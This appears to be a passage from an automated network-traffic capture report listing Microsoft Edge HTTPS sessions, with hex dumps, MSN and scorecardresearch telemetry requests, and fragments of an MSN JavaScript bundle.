2024-04-23 21:02:20 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49777	20.110.205.119	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:20 UTC	1175	OUT	GET /c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
2024-04-23 21:02:20 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=59892F5548B8410F875CC582C027017F&RedC=c.msn.com&MXFR=09C025F5A71D6FE2180F319FA60A6E8D Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=09C025F5A71D6FE2180F319FA60A6E8D; domain=.msn.com; expires=Sun, 18-May-2025 21:02:20 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 23 Apr 2024 21:02:19 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49781	3.163.101.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:20 UTC	925	OUT	GET /b?rn=1713906139242&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09C025F5A71D6FE2180F319FA60A6E8D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:20 UTC	1098	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 23 Apr 2024 21:02:20 GMT Location: /b2?rn=1713906139242&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09C025F5A71D6FE2180F319FA60A6E8D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=132ee5f1be77e922e6653ec1713906140; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=123ee5f1be931922e66559f1713906140; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=132ee5f1be77e922e6653ec1713906140; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e693fc47c20ac7c48d0de61b1d21b544.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL58-P8 X-Amz-Cf-Id: hlmAG_8glyeIiF8eLcdVlG6yKwgoOR-9OBV6HlmNCiRliJViQgkmGg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49797	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:20 UTC	720	OUT	GET /bundles/v1/edgeChromium/latest/libs_topics-shared-state_dist_TopicData_connector_js-libs_topics-shared-state_dist_TopicData_-62f9da.338ce1fb43cf41e7abe5.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:20 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: KoQTQsjGxBtXrV/Xw6Hsxg== Last-Modified: Tue, 23 Apr 2024 19:32:48 GMT ETag: 0x8DC63CC28C01B63 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 246fdc66-a01e-0041-0cb5-9592ad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:20 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402745157,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016745 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906140.18016745 Vary: Origin
2024-04-23 21:02:20 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6c 69 62 73 5f 74 6f 70 69 63 73 2d 73 68 61 72 65 64 2d 73 74 61 74 65 5f 64 69 73 74 5f 54 6f 70 69 63 44 61 74 61 5f 63 6f 6e 6e 65 63 74 6f 72 5f 6a 73 2d 6c 69 62 73 5f 74 6f 70 69 63 73 2d 73 68 61 72 65 64 2d 73 74 61 74 65 5f 64 69 73 74 5f 54 6f 70 69 63 44 61 74 61 5f 2d 36 32 66 39 64 61 22 5d 2c 7b 39 34 32 38 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 64 28 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_topics-shared-state_dist_TopicData_connector_js-libs_topics-shared-state_dist_TopicData_-62f9da"],{94285:function(e,t,i){i.d(
2024-04-23 21:02:20 UTC	9395	IN	Data Raw: 3d 3d 3d 73 2e 50 4c 2e 49 6e 66 6f 70 61 6e 65 26 26 21 66 29 72 65 74 75 72 6e 20 65 3b 69 66 28 65 2e 74 79 70 65 3d 3d 3d 73 2e 50 4c 2e 43 6f 6d 62 6f 43 61 72 64 29 72 65 74 75 72 6e 20 70 28 65 29 3b 69 66 28 65 2e 73 75 62 43 61 72 64 73 29 72 65 74 75 72 6e 20 74 7c 7c 65 2e 74 79 70 65 3d 3d 3d 73 2e 50 4c 2e 4e 65 77 73 50 72 6f 6d 6f 74 69 6f 6e 43 61 72 64 3f 7b 73 75 62 49 74 65 6d 73 3a 65 2e 73 75 62 43 61 72 64 73 2e 6d 61 70 28 28 65 3d 3e 63 28 65 29 29 29 2c 74 79 70 65 3a 65 2e 74 79 70 65 7c 7c 22 74 61 62 62 65 64 49 6e 66 6f 70 61 6e 65 22 7d 3a 75 28 65 2c 6f 29 3b 69 66 28 65 2e 74 79 70 65 3d 3d 3d 73 2e 50 4c 2e 45 78 74 65 72 6e 61 6c 4c 69 6e 6b 29 72 65 74 75 72 6e 20 64 28 65 29 3b 69 66 28 65 2e 74 79 70 65 3d 3d 3d 73 2e Data Ascii: ===s.PL.Infopane&&!f)return e;if(e.type===s.PL.ComboCard)return p(e);if(e.subCards)return t\|\|e.type===s.PL.NewsPromotionCard?{subItems:e.subCards.map((e=>c(e))),type:e.type\|\|"tabbedInfopane"}:u(e,o);if(e.type===s.PL.ExternalLink)return d(e);if(e.type===s.
2024-04-23 21:02:20 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2e 73 65 74 46 6f 72 63 65 64 41 70 69 4b 65 79 28 65 29 7d 29 29 7d 7d 76 61 72 20 54 3d 69 28 38 35 36 36 33 29 2c 53 3d 69 28 37 36 31 36 36 29 2c 49 3d 69 28 37 35 36 32 39 29 2c 62 3d 69 28 32 33 35 34 39 29 2c 43 3d 69 28 37 34 38 36 29 2c 50 3d 69 28 33 31 35 35 38 29 2c 46 3d 69 28 39 31 36 36 38 29 2c 6b 3d 69 28 39 30 31 35 38 29 2c 41 3d 69 28 39 38 38 35 30 29 2c 4c 3d 69 28 32 36 36 37 31 29 2c 52 3d 69 28 35 36 37 34 29 3b 63 6c 61 73 73 20 4d 20 65 78 74 65 6e 64 73 20 53 2e 65 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 2c 69 2c 73 2c 72 2c 63 2c 64 29 7b 73 75 70 65 72 28 65 2c 74 2c 69 2c 73 2c 72 2c 63 2c 64 29 2c 74 68 69 73 2e 66 65 74 63 68 65 64 41 6c 6c 46 6f 6c 6c 6f 77 65 64 54 6f 70 69 63 73 3d Data Ascii: 00006000.setForcedApiKey(e)}))}}var T=i(85663),S=i(76166),I=i(75629),b=i(23549),C=i(7486),P=i(31558),F=i(91668),k=i(90158),A=i(98850),L=i(26671),R=i(5674);class M extends S.e{constructor(e,t,i,s,r,c,d){super(e,t,i,s,r,c,d),this.fetchedAllFollowedTopics=
2024-04-23 21:02:21 UTC	8204	IN	Data Raw: 3d 3e 7b 69 2e 74 6f 70 69 63 4d 61 70 5b 65 2e 69 64 5d 3d 65 7d 29 29 2c 69 2e 74 6f 70 69 63 47 72 6f 75 70 4d 61 70 5b 65 2e 69 64 5d 3d 7b 69 64 3a 65 2e 69 64 2c 6e 65 78 74 50 61 67 65 55 72 6c 3a 65 2e 6e 65 78 74 50 61 67 65 55 72 6c 2c 74 69 74 6c 65 3a 65 2e 74 69 74 6c 65 2c 74 6f 70 69 63 49 64 73 3a 73 2e 6d 61 70 28 28 65 3d 3e 65 2e 69 64 29 29 7d 2c 69 2e 74 6f 70 69 63 47 72 6f 75 70 49 64 73 2e 70 75 73 68 28 65 2e 69 64 29 29 7d 7d 29 29 2c 69 7d 73 74 61 74 69 63 20 54 72 61 6e 73 6c 61 74 65 54 6f 54 6f 70 69 63 73 28 65 2c 74 2c 69 29 7b 69 66 28 55 2e 6b 2e 6c 6f 67 4f 62 6a 65 63 74 73 28 65 29 2c 21 41 2e 62 2e 69 73 44 65 66 69 6e 65 64 28 65 29 26 26 65 5b 74 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 54 6f 70 69 Data Ascii: =>{i.topicMap[e.id]=e})),i.topicGroupMap[e.id]={id:e.id,nextPageUrl:e.nextPageUrl,title:e.title,topicIds:s.map((e=>e.id))},i.topicGroupIds.push(e.id))}})),i}static TranslateToTopics(e,t,i){if(U.k.logObjects(e),!A.b.isDefined(e)&&e[t])throw new Error("Topi
2024-04-23 21:02:21 UTC	3864	IN	Data Raw: 30 30 30 30 30 46 30 43 0d 0a 74 20 74 68 69 73 2e 73 65 6e 64 52 65 71 75 65 73 74 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6f 2e 68 72 65 66 29 2c 74 2c 22 67 65 74 54 6f 70 69 63 73 42 79 49 64 22 29 3b 72 65 74 75 72 6e 20 71 2e 54 72 61 6e 73 6c 61 74 65 54 6f 70 69 63 52 65 73 70 6f 6e 73 65 54 6f 54 6f 70 69 63 41 72 72 61 79 28 6e 29 7d 67 65 74 4c 6f 63 61 74 69 6f 6e 44 61 74 61 28 29 7b 63 6f 6e 73 74 20 65 3d 28 30 2c 66 2e 6e 50 29 28 29 3b 72 65 74 75 72 6e 20 65 2e 43 6c 69 65 6e 74 53 65 74 74 69 6e 67 73 26 26 65 2e 43 6c 69 65 6e 74 53 65 74 74 69 6e 67 73 2e 67 65 6f 5f 6c 61 74 26 26 65 2e 43 6c 69 65 6e 74 53 65 74 74 69 6e 67 73 2e 67 65 6f 5f 6c 6f 6e 67 3f 60 24 7b 65 2e 43 6c 69 65 6e 74 53 65 74 74 69 6e 67 73 Data Ascii: 00000F0Ct this.sendRequest(decodeURIComponent(o.href),t,"getTopicsById");return q.TranslateTopicResponseToTopicArray(n)}getLocationData(){const e=(0,f.nP)();return e.ClientSettings&&e.ClientSettings.geo_lat&&e.ClientSettings.geo_long?`${e.ClientSettings
2024-04-23 21:02:21 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
